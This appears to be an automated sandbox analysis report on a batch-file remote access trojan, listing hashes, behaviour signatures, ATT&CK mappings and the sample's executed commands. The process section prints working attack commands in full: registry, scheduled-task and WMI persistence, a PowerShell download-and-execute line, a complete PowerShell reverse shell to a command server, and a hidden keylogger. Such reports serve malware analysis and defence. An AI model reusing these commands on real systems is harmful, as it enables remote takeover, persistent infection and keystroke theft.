Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:06
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_50145_014214.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_50145_014214.bat
Resource
win11-20260513-en
General
- Target rat_build_50145_014214.bat
- Size 4KB
- Sample260529-11c2zagv3x
- SHA256 e058cd5dcfa761949fff6d1f8208e669bf17c6ed4202c4c8f27a72697730efb4
- MD5 b6fb052ca7686f349084f0f108782ddb
- SHA1 8f7208912342848d6c4b5f1c01a204b8c02e2bee
- SHA512 3296934a6f2d9f68389587b690a5aec58db633f03e816887b85083a66a161e9613635abd255f26b43575b201e32220eb98b2df405a9b26161e43d4a8d7a2b7da
- SSDEEP 96:BI3CWYU5toOUafgcbUwGcrYkwMKXNDNHKtRgZDz0EiFgZk8mvlo1l2:BIYU5toO/fJGcr1cXNRHuRzEiFgkHlk2
- TLSH T12FA1D6176B9B251096F02608E936394913ACD6FB1344CA8DFE48CEC56A8DF438568BE7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_50145.ps1
Signatures
-
pid Process 3904 powershell.exe 2268 powershell.exe 2528 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_50145 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_50145.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 804 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3148 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1004 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2116 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3904 powershell.exe 3904 powershell.exe 2268 powershell.exe 2268 powershell.exe 2528 powershell.exe 2528 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4144 WMIC.exe Token: SeSecurityPrivilege 4144 WMIC.exe Token: SeTakeOwnershipPrivilege 4144 WMIC.exe Token: SeLoadDriverPrivilege 4144 WMIC.exe Token: SeSystemProfilePrivilege 4144 WMIC.exe Token: SeSystemtimePrivilege 4144 WMIC.exe Token: SeProfSingleProcessPrivilege 4144 WMIC.exe Token: SeIncBasePriorityPrivilege 4144 WMIC.exe Token: SeCreatePagefilePrivilege 4144 WMIC.exe Token: SeBackupPrivilege 4144 WMIC.exe Token: SeRestorePrivilege 4144 WMIC.exe Token: SeShutdownPrivilege 4144 WMIC.exe Token: SeDebugPrivilege 4144 WMIC.exe Token: SeSystemEnvironmentPrivilege 4144 WMIC.exe Token: SeRemoteShutdownPrivilege 4144 WMIC.exe Token: SeUndockPrivilege 4144 WMIC.exe Token: SeManageVolumePrivilege 4144 WMIC.exe Token: 33 4144 WMIC.exe Token: 34 4144 WMIC.exe Token: 35 4144 WMIC.exe Token: 36 4144 WMIC.exe Token: SeIncreaseQuotaPrivilege 4144 WMIC.exe Token: SeSecurityPrivilege 4144 WMIC.exe Token: SeTakeOwnershipPrivilege 4144 WMIC.exe Token: SeLoadDriverPrivilege 4144 WMIC.exe Token: SeSystemProfilePrivilege 4144 WMIC.exe Token: SeSystemtimePrivilege 4144 WMIC.exe Token: SeProfSingleProcessPrivilege 4144 WMIC.exe Token: SeIncBasePriorityPrivilege 4144 WMIC.exe Token: SeCreatePagefilePrivilege 4144 WMIC.exe Token: SeBackupPrivilege 4144 WMIC.exe Token: SeRestorePrivilege 4144 WMIC.exe Token: SeShutdownPrivilege 4144 WMIC.exe Token: SeDebugPrivilege 4144 WMIC.exe Token: SeSystemEnvironmentPrivilege 4144 WMIC.exe Token: SeRemoteShutdownPrivilege 4144 WMIC.exe Token: SeUndockPrivilege 4144 WMIC.exe Token: SeManageVolumePrivilege 4144 WMIC.exe Token: 33 4144 WMIC.exe Token: 34 4144 WMIC.exe Token: 35 4144 WMIC.exe Token: 36 4144 WMIC.exe Token: SeIncreaseQuotaPrivilege 2928 WMIC.exe Token: SeSecurityPrivilege 2928 WMIC.exe Token: SeTakeOwnershipPrivilege 2928 WMIC.exe Token: SeLoadDriverPrivilege 2928 WMIC.exe Token: SeSystemProfilePrivilege 2928 WMIC.exe Token: SeSystemtimePrivilege 2928 WMIC.exe Token: SeProfSingleProcessPrivilege 2928 WMIC.exe Token: SeIncBasePriorityPrivilege 2928 WMIC.exe Token: SeCreatePagefilePrivilege 2928 WMIC.exe Token: SeBackupPrivilege 2928 WMIC.exe Token: SeRestorePrivilege 2928 WMIC.exe Token: SeShutdownPrivilege 2928 WMIC.exe Token: SeDebugPrivilege 2928 WMIC.exe Token: SeSystemEnvironmentPrivilege 2928 WMIC.exe Token: SeRemoteShutdownPrivilege 2928 WMIC.exe Token: SeUndockPrivilege 2928 WMIC.exe Token: SeManageVolumePrivilege 2928 WMIC.exe Token: 33 2928 WMIC.exe Token: 34 2928 WMIC.exe Token: 35 2928 WMIC.exe Token: 36 2928 WMIC.exe Token: SeIncreaseQuotaPrivilege 2928 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 372 wrote to memory of 2116 372 cmd.exe 85 PID 372 wrote to memory of 1004 372 cmd.exe 86 PID 372 wrote to memory of 4144 372 cmd.exe 87 PID 372 wrote to memory of 2928 372 cmd.exe 89 PID 372 wrote to memory of 2056 372 cmd.exe 90 PID 372 wrote to memory of 3148 372 cmd.exe 93 PID 372 wrote to memory of 804 372 cmd.exe 99 PID 372 wrote to memory of 3904 372 cmd.exe 100 PID 372 wrote to memory of 2268 372 cmd.exe 102 PID 372 wrote to memory of 2528 372 cmd.exe 104 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_50145_014214.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:372 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_50145" /tr "C:\Users\Admin\AppData\Local\Temp\_50145.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2116
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_50145" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_50145.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:1004
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_50145", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4144
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_50145", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_50145.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2928
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_50145.txt2⤵PID:2056
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:3148
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:804
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_50145.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3904
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2268
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2528
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 500bbb53a10da93ff7861f22c318717e124d185163682af049b51c7929ed4fd5
- MD5 2b23ff76612030999f6fdd9aa37322f6
- SHA1 4c0f3eed377465d3e5de2380df9816c51ef97df2
- SHA512 189af114512fda68d2e877adc29a3ff80ed90e3fdabd1caa73fa62aaf93e43f87188fb80d71afe81da9cdfafafe2f0452499cae7215570910c4fb3ff052472e3
- TLSH T11D117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A07F584CB71194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
- MD5 9b2bec72b86f9fd4436e8d351bc99cdd
- SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
- SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
- TLSH T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3oxm3hru.luc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH